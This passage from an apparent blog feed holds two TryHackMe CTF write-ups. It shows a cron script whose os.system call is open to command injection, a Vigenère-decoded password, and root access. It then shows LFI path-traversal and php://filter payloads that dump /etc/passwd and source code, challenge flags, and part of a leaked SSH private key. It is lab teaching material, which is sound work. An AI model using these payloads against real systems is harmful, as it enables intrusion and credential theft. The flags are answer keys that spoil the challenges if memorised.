Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:39:01 
                                                                               
Bangers and mash! Bubbles and squeak! Smoked eel pie! Haggis! \u2014 National Treasure 2: Book Of Secrets
                                                                               
bee eval '...'

Command 'bee' not found, did you mean:

Try: apt install &lt;deb name&gt;

weston@national-treasure:~$ /usr/bin/bee eval '...'
-bash: /usr/bin/bee: No such file or directory
weston@national-treasure:~$ /usr/bin/bees eval '...'
                                                                               
Broadcast message from weston@national-treasure (pts/0) (Fri Mar 27 13:40:40 20
                                                                               
AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!
</code></pre>
<pre><code class="language-plaintext">
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:48:01 
                                                                               
I'll be taking these Huggies and whatever cash ya got. \u2014 Raising Arizona
                                                                               
cd /opt
weston@national-treasure:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May 25  2020 .
drwxr-xr-x 24 root root 4096 May 26  2020 ..
drwxr-xr-x  3 cage cage 4096 May 26  2020 .dads_scripts
weston@national-treasure:/opt$ cat .dads_scripts
cat: .dads_scripts: Is a directory
weston@national-treasure:/opt$ cd .dads_scripts
weston@national-treasure:/opt/.dads_scripts$ ls -la
total 16
drwxr-xr-x 3 cage cage 4096 May 26  2020 .
drwxr-xr-x 3 root root 4096 May 25  2020 ..
drwxrwxr-x 2 cage cage 4096 May 25  2020 .files
-rwxr--r-- 1 cage cage  255 May 26  2020 spread_the_quotes.py
weston@national-treasure:/opt/.dads_scripts$ python3 spread_the_qoutes.py
python3: can't open file 'spread_the_qoutes.py': [Errno 2] No such file or directory
weston@national-treasure:/opt/.dads_scripts$ cat .files
cat: .files: Is a directory
weston@national-treasure:/opt/.dads_scripts$ cd .files
weston@national-treasure:/opt/.dads_scripts/.files$ ls -la
total 16
drwxrwxr-x 2 cage cage 4096 May 25  2020 .
drwxr-xr-x 3 cage cage 4096 May 26  2020 ..
-rwxrw---- 1 cage cage 4204 May 25  2020 .quotes
weston@national-treasure:/opt/.dads_scripts/.files$ cat .qoutes
cat: .qoutes: No such file or directory
weston@national-treasure:/opt/.dads_scripts/.files$ cat /.qoutes
cat: /.qoutes: No such file or directory
weston@national-treasure:/opt/.dads_scripts/.files$ cat .quotes
"That's funny, my name's Roger. Two Rogers don't make a right!" \u2014 Gone in Sixty Seconds
"Did I ever tell ya that this here jacket represents a symbol of my individuality, and my belief in personal freedom?" \u2014 Wild at Heart
"Well, I'm one of those fortunate people who like my job, sir. Got my first chemistry set when I was seven, blew my eyebrows off, we never saw the cat again, been into it ever since." \u2014 The Rock
"Put... the bunny... back... in the box." \u2014 Con Air
"Sorry boss, but there's only two men I trust. One of them's me. The other's not you." \u2014 Con Air
"What's in the bag? A shark or something?" \u2014 The Wicker Man
"Only if it's a noun, and the words have equal weight. Like, Homeland Security. If it's a participle modifying the first word, then... you better keep it lower case." \u2014 Seeking Justice
"What do you think I'm gonna do? I'm gonna save the ' ****** day!" \u2014 Con Air
"Guns and wine. Naughty priests." \u2014 Ghost Rider: Spirit of Vengeance
Hey! My mama lives in a trailer!" \u2014 Con Air
\u201cKilling me won\u2019t bring back your *** **** honey!\u201d \u2014 The Wicker Man
"Well, Baby-O, it's not exactly mai-thais and yatzee out here but... let's do it!" \u2014 Con Air
\u201cYou'll be seeing a lot of changes around here. Papa's got a brand new bag.\u201d \u2014 Face/Off
"Shoot him again... His soul's still dancing." \u2014 Bad Lieutenant: Port Of Call
"OH, NO! NOT THE BEES! NOT THE BEES! AAAAAHHHHH! OH, THEY'RE IN MY EYES! MY EYES! AAAAHHHHH! AAAAAGGHHH!" \u2014 The Wicker Man
\u201cTool up, honey bunny. It's time to get bad guys.\u201d \u2014 Kick-Ass
"Honey? Uh... You wanna know who really killed JFK?" \u2014 The Rock
\u201cI saw you and you saw me, don\u2019t pretend like you don\u2019t know who I am girly man\u201d \u2014 Snake Eyes
"You just put it in the right file, according to alphabetical order! Y'know A, B , C, D, E, F, G!" \u2014 Vampire's Kiss
"Everything I take is prescription - except for the heroin." \u2014 Bad Lieutenant: Port Of Call
"Bangers and mash! Bubbles and squeak! Smoked eel pie! Haggis!" \u2014 National Treasure 2: Book Of Secrets
"l guess they don't call you the Executioner for nothing! And you sign my kid's autograph!" \u2014 Snake Eyes
"Listen, I think we got started off on the wrong foot. I'm Stan Goodspeed, FBl. Uh - Let's talk music. Do you like the Elton John song, "Rocket Man"?" \u2014 The Rock
"Well, today's your lucky day, 'cause I brought an eagle." \u2014 The Sorcerer's Apprentice
"Release the baby!" \u2014 The Croods
"I love pressure. I eat it for breakfast." \u2014 The Rock
"I just remembered, I have to go into town to pick up your anti-itch cream." \u2014 The Sorcerer's Apprentice
"What are these ****** iguanas doing on my coffee table?" \u2014 Bad Lieutenant: Port Of Call
"I mean it, honey, the world is being Fed-exed to hell in a hand cart." \u2014 The Rock
"Black, French, alcoholic priest, kind of a ****. Why, do you know him?" \u2014 Ghost Rider: Spirit of Vengeance
"I never disrobe before gunplay." \u2014 Drive Angry
"Hey. Dirtbag." \u2014 Ghost Rider
"I'll be taking these Huggies and whatever cash ya got." \u2014 Raising Arizona
"What's that like? What's it taste like? Describe it like Hemingway." \u2014 City of Angels
"If you dress like Halloween, ghouls will try to get in your pants." \u2014 Face/Off
"I told you I'd share my ticket. I never planned on sharing my heart. Maybe I could get lucky twice today." \u2014 It Could Happen to You
"I'm a vampire! I'm a vampire! I'm a vampire!" \u2014 Vampire's Kiss
"If I were to send you flowers where would I... no, let me rephrase that. If I were to let you suck my tongue, would you be grateful?" \u2014 Face/Off
"People don't throw things at me any more. Maybe because I carry a bow around." \u2014 The Weather Man
"You'll be seeing a lot of changes around here. Papa's got a brand new bag." \u2014 Face/Off
"Here's something that if you want your father to think you're not a silly ****, don't slap a guy across the face with a glove because if you do that, that's what he will think. Unless you're a noble man or something in the nineteenth century. Which I am not." \u2014 The Weather Man
"It's like we're on two different channels now. I'm CNN and she's the Home Shopping Network." \u2014 It Could Happen to You
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:51:01 
                                                                               
Well, I'm one of those fortunate people who like my job, sir. Got my first chemistry set when I was seven, blew my eyebrows off, we never saw the cat again, been into it ever since. \u2014 The Rock
                                                                               
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:54:01 
                                                                               
Guns and wine. Naughty priests. \u2014 Ghost Rider: Spirit of Vengeance
</code></pre>
<ul>
<li>Reading this file, we finally get the user flag</li>
</ul>
<pre><code class="language-plaintext">cat /opt/.dads_scripts/spread_the_quotes.py
#!/usr/bin/env python

#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)
</code></pre>
<h3>What's the root flag?</h3>
<pre><code class="language-plaintext">                                                                      ls -la /home/cage/email_backup/
total 20
drwxrwxr-x 2 cage cage 4096 May 25  2020 .
drwx------ 7 cage cage 4096 May 26  2020 ..
-rw-rw-r-- 1 cage cage  431 May 25  2020 email_1
-rw-rw-r-- 1 cage cage  733 May 25  2020 email_2
-rw-rw-r-- 1 cage cage  745 May 25  2020 email_3
b-4.4$ pwd
/tmp
b-4.4$ cd /home/cage/email_backup
b-4.4$ cat email_1
From - SeanArcher@BigManAgents.com
To - Cage@nationaltreasure.com

Hey Cage!

There's rumours of a Face/Off sequel, Face/Off 2 - Face On. It's supposedly only in the
planning stages at the moment. I've put a good word in for you, if you're lucky we 
might be able to get you a part of an angry shop keeping or something? Would you be up
for that, the money would be good and it'd look good on your acting CV.

Regards

Sean Archer
b-4.4$ cat email_2
From - Cage@nationaltreasure.com
To - SeanArcher@BigManAgents.com

Dear Sean

We've had this discussion before Sean, I want bigger roles, I'm meant for greater things.
Why aren't you finding roles like Batman, The Little Mermaid(I'd make a great Sebastian!),
the new Home Alone film and why oh why Sean, tell me why Sean. Why did I not get a role in the
new fan made Star Wars films?! There was 3 of them! 3 Sean! I mean yes they were terrible films.
I could of made them great... great Sean.... I think you're missing my true potential.

On a much lighter note thank you for helping me set up my home server, Weston helped too, but
not overally greatly. I gave him some smaller jobs. Whats your username on here? Root?

Yours

Cage
b-4.4$ cat email_3
From - Cage@nationaltreasure.com
To - Weston@nationaltreasure.com

Hey Son

Buddy, Sean left a note on his desk with some really strange writing on it. I quickly wrote
down what it said. Could you look into it please? I think it could be something to do with his
account on here. I want to know what he's hiding from me... I might need a new agent. Pretty
sure he's out to get me. The note said:

haiinspsyanileph

The guy also seems obsessed with my face lately. He came him wearing a mask of my face...
was rather odd. Imagine wearing his ugly face.... I wouldnt be able to FACE that!! 
hahahahahahahahahahahahahahahaahah get it Weston! FACE THAT!!!! hahahahahahahhaha
ahahahhahaha. Ahhh Face it... he's just odd. 

Regards

The Legend - Cage
</code></pre>
<pre><code class="language-plaintext">python3 -c "
&gt; def vd(ct, key):
&gt;     res=[]; ki=0; key=key.lower()
&gt;     for c in ct:
&gt;         if c.isalpha():
&gt;             s=ord(key[ki%len(key)])-ord('a')
&gt;             res.append(chr((ord(c.lower())-ord('a')-s)%26+ord('a')))
&gt;             ki+=1
&gt;         else: res.append(c)
&gt;     return ''.join(res)
&gt; 
&gt; print(vd('haiinspsyanileph', 'faceoff'))
&gt; "
cageznknyyjugzkh
</code></pre>
<p>Before accessing the root user, we were able to access the email backup folder that had three emails, but none of them had the root flag. It helped us get a password, which eventually helped us escalate privileges and access the email backup that has the root flag.</p>
<pre><code class="language-plaintext">weston@national-treasure:/home/cage$ su root
Password: 
root@national-treasure:/home/cage# ls -la
total 56
drwx------ 7 cage cage 4096 May 26  2020 .
drwxr-xr-x 4 root root 4096 May 26  2020 ..
lrwxrwxrwx 1 cage cage    9 May 26  2020 .bash_history -&gt; /dev/null
-rw-r--r-- 1 cage cage  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 cage cage 3771 Apr  4  2018 .bashrc
drwx------ 2 cage cage 4096 May 25  2020 .cache
drwxrwxr-x 2 cage cage 4096 May 25  2020 email_backup
drwx------ 3 cage cage 4096 May 25  2020 .gnupg
drwxrwxr-x 3 cage cage 4096 May 25  2020 .local
-rw-r--r-- 1 cage cage  807 Apr  4  2018 .profile
-rw-rw-r-- 1 cage cage   66 May 25  2020 .selected_editor
drwx------ 2 cage cage 4096 May 26  2020 .ssh
-rw-r--r-- 1 cage cage    0 May 25  2020 .sudo_as_admin_successful
-rw-rw-r-- 1 cage cage  230 May 26  2020 Super_Duper_Checklist
-rw------- 1 cage cage 6761 May 26  2020 .viminfo
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 14:24:01 
                                                                               
quotes
                                                                               
python -c 'import pty; pty.spawn("/bin/bash") 
root@national-treasure:/home/cage# sudo su
root@national-treasure:/home/cage# cd /root
root@national-treasure:~# ls -la
total 52
drwx------  8 root root  4096 May 26  2020 .
drwxr-xr-x 24 root root  4096 May 26  2020 ..
lrwxrwxrwx  1 root root     9 May 26  2020 .bash_history -&gt; /dev/null
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  2 root root  4096 May 26  2020 .cache
drwxr-xr-x  2 root root  4096 May 25  2020 email_backup
drwx------  3 root root  4096 May 26  2020 .gnupg
drwxr-xr-x  3 root root  4096 May 25  2020 .local
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
drwx------  2 root root  4096 May 25  2020 .ssh
drwxr-xr-x  2 root root  4096 May 26  2020 .vim
-rw-------  1 root root 11692 May 26  2020 .viminfo
root@national-treasure:~# cd email_backup
root@national-treasure:~/email_backup# ls -la
total 16
drwxr-xr-x 2 root root 4096 May 25  2020 .
drwx------ 8 root root 4096 May 26  2020 ..
-rw-r--r-- 1 root root  318 May 25  2020 email_1
-rw-r--r-- 1 root root  414 May 25  2020 email_2
root@national-treasure:~/email_backup# cat email_1
From - SeanArcher@BigManAgents.com
To - master@ActorsGuild.com

Good Evening Master

My control over Cage is becoming stronger, I've been casting him into worse and worse roles.
Eventually the whole world will see who Cage really is! Our masterplan is coming together
master, I'm in your debt.

Thank you

Sean Archer
root@national-treasure:~/email_backup# cat email_2
From - master@ActorsGuild.com
To - SeanArcher@BigManAgents.com

Dear Sean

I'm very pleased to here that Sean, you are a good disciple. Your power over him has become
strong... so strong that I feel the power to promote you from disciple to crony. I hope you
don't abuse your new found strength. To ascend yourself to this level please use this code:

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

Thank you

Sean Archer
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f84848a2-66bd-43f6-bbd7-7afb4fc41e44.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/b79ef3b9-48a1-438e-99e8-2fbfb58a2511.png" alt="" style="display:block;margin:0 auto" />

<p><strong>CONCLUSION</strong></p>
<p>This room was a fun reminder that enumeration pays off in layers — the web directories, FTP file, and broadcaster cron job each revealed a piece of the puzzle that only made sense in context of the others. A few key takeaways:</p>
<ul>
<li><p><strong>Wordlist generation matters:</strong> the screenplay files looked like noise but contained the SSH password embedded in a decoded Vigenère message — always read what you find before dismissing it.</p>
</li>
<li><p><code>os.system()</code> <strong>with unsanitised input is a classic code injection sink:</strong> the cron job calling <code>wall + quote</code> with no sanitisation meant writing a payload to the quotes file was sufficient for lateral movement.</p>
</li>
<li><p><strong>Group membership is a privesc vector:</strong> running <code>sudo /usr/bin/bees</code> added us to the <code>cage</code> group, granting write access to <code>.quotes</code> — a non-obvious but realistic escalation path.</p>
</li>
<li><p><strong>Classical ciphers still show up in CTFs:</strong> recognising the Vigenère pattern and identifying the key from contextual clues ("FACE that!!") saved significant time over brute-forcing.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Team (CTF Challenge - THM)]]></title><description><![CDATA[nmap -p- -sV IP_Address

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache h]]></description><link>https://www.sharonjebitok.com/team-ctf-challenge-thm</link><guid isPermaLink="true">https://www.sharonjebitok.com/team-ctf-challenge-thm</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[LFI]]></category><category><![CDATA[pathtraversal]]></category><category><![CDATA[Privilege Escalation]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 28 Mar 2026 17:25:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7f4c18db-c368-4150-874b-0a8bd80b201e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<pre><code class="language-plaintext">nmap -p- -sV IP_Address

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
</code></pre>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.php                 (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.hta.txt             (Status: 403) [Size: 278]
/.hta.html            (Status: 403) [Size: 278]
/.hta.php             (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 11366]
/index.html           (Status: 200) [Size: 11366]
/server-status        (Status: 403) [Size: 278]
</code></pre>
<ul>
<li><p>I see Apache on the <a href="http://IP%5C_Address">http://IP\_Address</a></p>
</li>
<li><p>After looking around on the site, we found the domain <code>team.thm</code> and eventually subdomains <code>dev.team.thm</code> and <code>www.dev.team.thm</code></p>
</li>
</ul>
<pre><code class="language-plaintext">echo "IP_Address team.thm" &gt;&gt; /etc/hosts

echo "IP_Address dev.team.thm www.dev.team.thm" &gt;&gt; /etc/hosts
</code></pre>
<pre><code class="language-plaintext">gobuster dir -u http://team.thm -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.php                 (Status: 403) [Size: 273]
/.html                (Status: 403) [Size: 273]
/.hta                 (Status: 403) [Size: 273]
/.hta.html            (Status: 403) [Size: 273]
/.hta.php             (Status: 403) [Size: 273]
/.hta.txt             (Status: 403) [Size: 273]
/.htaccess.php        (Status: 403) [Size: 273]
/.htpasswd.html       (Status: 403) [Size: 273]
/.htaccess            (Status: 403) [Size: 273]
/.htaccess.txt        (Status: 403) [Size: 273]
/.htpasswd            (Status: 403) [Size: 273]
/.htpasswd.txt        (Status: 403) [Size: 273]
/.htaccess.html       (Status: 403) [Size: 273]
/.htpasswd.php        (Status: 403) [Size: 273]
/assets               (Status: 301) [Size: 305] [--&gt; http://team.thm/assets/]
/images               (Status: 301) [Size: 305] [--&gt; http://team.thm/images/]
/index.html           (Status: 200) [Size: 2966]
/index.html           (Status: 200) [Size: 2966]
/robots.txt           (Status: 200) [Size: 5]
/robots.txt           (Status: 200) [Size: 5]
/scripts              (Status: 301) [Size: 306] [--&gt; http://team.thm/scripts/]
/server-status        (Status: 403) [Size: 273]
</code></pre>
<ul>
<li><code>robots.txt</code> revealed a user called <code>dale</code></li>
</ul>
<pre><code class="language-plaintext">curl -s http://team.thm/assets/
&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
&lt;html&gt;&lt;head&gt;
&lt;title&gt;403 Forbidden&lt;/title&gt;
&lt;/head&gt;&lt;body&gt;
&lt;h1&gt;Forbidden&lt;/h1&gt;
&lt;p&gt;You don't have permission to access this resource.&lt;/p&gt;
&lt;hr&gt;
&lt;address&gt;Apache/2.4.41 (Ubuntu) Server at team.thm Port 80&lt;/address&gt;
&lt;/body&gt;&lt;/html&gt;
root@ip-10-129-80-190:~# curl -s http://team.thm/images/
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"&gt;
&lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;Index of /images&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
&lt;h1&gt;Index of /images&lt;/h1&gt;
&lt;pre&gt;&lt;a href="?C=N;O=D"&gt;Name&lt;/a&gt;                    &lt;a href="?C=M;O=A"&gt;Last modified&lt;/a&gt;      &lt;a href="?C=S;O=A"&gt;Size&lt;/a&gt;  &lt;a href="?C=D;O=A"&gt;Description&lt;/a&gt;&lt;hr&gt;&lt;a href="/"&gt;Parent Directory&lt;/a&gt;                             -   
&lt;a href="avatar.jpg"&gt;avatar.jpg&lt;/a&gt;              2021-01-15 20:00   14K  
&lt;a href="bg.jpg"&gt;bg.jpg&lt;/a&gt;                  2021-01-15 20:00   71K  
&lt;a href="fulls/"&gt;fulls/&lt;/a&gt;                  2021-01-15 20:00    -   
&lt;a href="thumbs/"&gt;thumbs/&lt;/a&gt;                 2021-01-15 20:00    -   
&lt;hr&gt;&lt;/pre&gt;
&lt;address&gt;Apache/2.4.41 (Ubuntu) Server at team.thm Port 80&lt;/address&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>
<ul>
<li>Checking the results below revealed a chance of path traversal</li>
</ul>
<pre><code class="language-plaintext">curl http://dev.team.thm
&lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;UNDER DEVELOPMENT&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
  Site is being built&lt;a href=script.php?page=teamshare.php &lt;/a&gt;
&lt;p&gt;Place holder link to team share&lt;/p&gt;
 &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code class="language-plaintext">curl "http://dev.team.thm/script.php?page=../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
dale:x:1000:1000:anon,,,:/home/dale:/bin/bash
gyles:x:1001:1001::/home/gyles:/bin/bash
ftpuser:x:1002:1002::/home/ftpuser:/bin/sh
ftp:x:110:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-timesync:x:112:117:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:113:120:TPM software stack,,,:/var/lib/tpm:/bin/false
tcpdump:x:114:121::/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:115:122:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:116:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ssm-user:x:1003:1005::/home/ssm-user:/bin/sh
ubuntu:x:1004:1007:Ubuntu:/home/ubuntu:/bin/bash
</code></pre>
<h1>Flags</h1>
<p>Created by:﻿dalemazza</p>
<p>Credit to P41ntP4rr0t for help along the way</p>
<h2>Answer the questions below</h2>
<h3>user.txt</h3>
<p>the user flag:</p>
<pre><code class="language-plaintext">curl "http://dev.team.thm/script.php?page=../../../../home/dale/user.txt"

THM{6Y0TXHz7c2d}
</code></pre>
<h3>root.txt</h3>
<pre><code class="language-plaintext">curl "http://dev.team.thm/script.php?page=php://filter/convert.base64-encode/resource=script.php"

Cjw/cGhwICAgCiRmaWxlID0gJF9HRVRbJ3BhZ2UnXTsKICAgaWYoaXNzZXQoJGZpbGUpKQogICB7CiAgICAgICBpbmNsdWRlKCIkZmlsZSIpOwogICB9CiAgIGVsc2UKICAgewogICAgICAgaW5jbHVkZSgidGVhbXNoYXJlLnBocCIpOwogICB9Cj8+Cg==
</code></pre>
<p>The base64 decode shows a <code>teamshare.php</code> file, which we had seen earlier on</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bcd181d8-e6cc-4ec6-94f9-3577f37d67a5.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">&lt;?php   
\(file = \)_GET['page'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("teamshare.php");
   }
?&gt;
</code></pre>
<p>Next was replacing the PHP file in the previous command with <code>teamshare.php</code></p>
<pre><code class="language-plaintext">curl "http://dev.team.thm/script.php?page=php://filter/convert.base64-encode/resource=teamshare.php"

PGh0bWw+CiA8aGVhZD4KICA8dGl0bGU+VGVhbSBTaGFyZTwvdGl0bGU+CiA8L2hlYWQ+CiA8Ym9keT4KICA8P3BocCBlY2hvICJQbGFjZSBob2xkZXIgZm9yIGZ1dHVyZSB0ZWFtIHNoYXJlIiA/PgogPC9ib2R5Pgo8L2h0bWw+Cg==
</code></pre>
<p>The base64 decode found:</p>
<pre><code class="language-plaintext">&lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;Team Share&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
  &lt;?php echo "Place holder for future team share" ?&gt;
 &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<ul>
<li>We also found an SSH private key for the SSH user dale</li>
</ul>
<pre><code class="language-plaintext"># \(OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp \) # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options override the # default value. #Port 22 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress :: #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_ecdsa_key #HostKey /etc/ssh/ssh_host_ed25519_key # Ciphers and keying #RekeyLimit default none # Logging #SyslogFacility AUTH #LogLevel INFO # Authentication: #RSAAuthentication yes #LoginGraceTime 2m PermitRootLogin prohibit-password #StrictModes yes #MaxAuthTries 6 #MaxSessions 10 PubkeyAuthentication yes PubkeyAcceptedKeyTypes=+ssh-dss,ssh-rsa,ssh-ed25519 # Expect .ssh/authorized_keys2 to be disregarded by default in future. AuthorizedKeysFile .ssh/authorized_keys #AuthorizedPrincipalsFile none #AuthorizedKeysCommand none #AuthorizedKeysCommandUser nobody # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! #PasswordAuthentication yes #PermitEmptyPasswords no # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes #GSSAPIStrictAcceptorCheck yes #GSSAPIKeyExchange no # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM no #AllowAgentForwarding yes #AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PermitTTY yes PrintMotd no #PrintLastLog yes #TCPKeepAlive yes #UseLogin no #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #UseDNS no #PidFile /var/run/sshd.pid #MaxStartups 10:30:100 #PermitTunnel no #ChrootDirectory none #VersionAddendum none # no default banner path #Banner none # Allow client to pass locale environment variables AcceptEnv LANG LC_* # override default of no subsystems Subsystem sftp /usr/lib/openssh/sftp-server # Example of overriding settings on a per-user basis #Match User anoncvs # X11Forwarding no # AllowTcpForwarding no # PermitTTY no # ForceCommand cvs server AllowUsers dale gyles root ubuntu #Dale id_rsa #-----BEGIN OPENSSH PRIVATE KEY----- #b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn #NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE #NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W #oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK #o9WqHhL5XS8lYu/fy5VAYOfJ0pyTh8IdhFUuAzfuC+fj0BcQ6ePFhxEF6WaNCSpK2v+qxP #zMUILQdztr8WhURTxuaOQOIxQ2xJ+zWDKMiynzJ/lzwmI4EiOKj1/nh/w7I8rk6jBjaqAu #k5xumOxPnyWAGiM0XOBSfgaU+eADcaGfwSF1a0gI8G/TtJfbcW33gnwZBVhc30uLG8JoKS #xtA1J4yRazjEqK8hU8FUvowsGGls+trkxBYgceWwJFUudYjBq2NbX2glKz52vqFZdbAa1S #0soiabHiuwd+3N/ygsSuDhOhKIg4MWH6VeJcSMIrAAAFkNt4pcTbeKXEAAAAB3NzaC1yc2 #EAAAGBAJ4OijEx985vuq6nkM5+RywY4K7gfZNq1/13cwq+o73RSyfrh+GVRDVJG4uVlDnU #eKHJOHRY5NN19Ww7IWorABUSSZIFKtfszSfqfemSBCrZvd2mMt/mIIJYjf1qBvkT6j/D+v 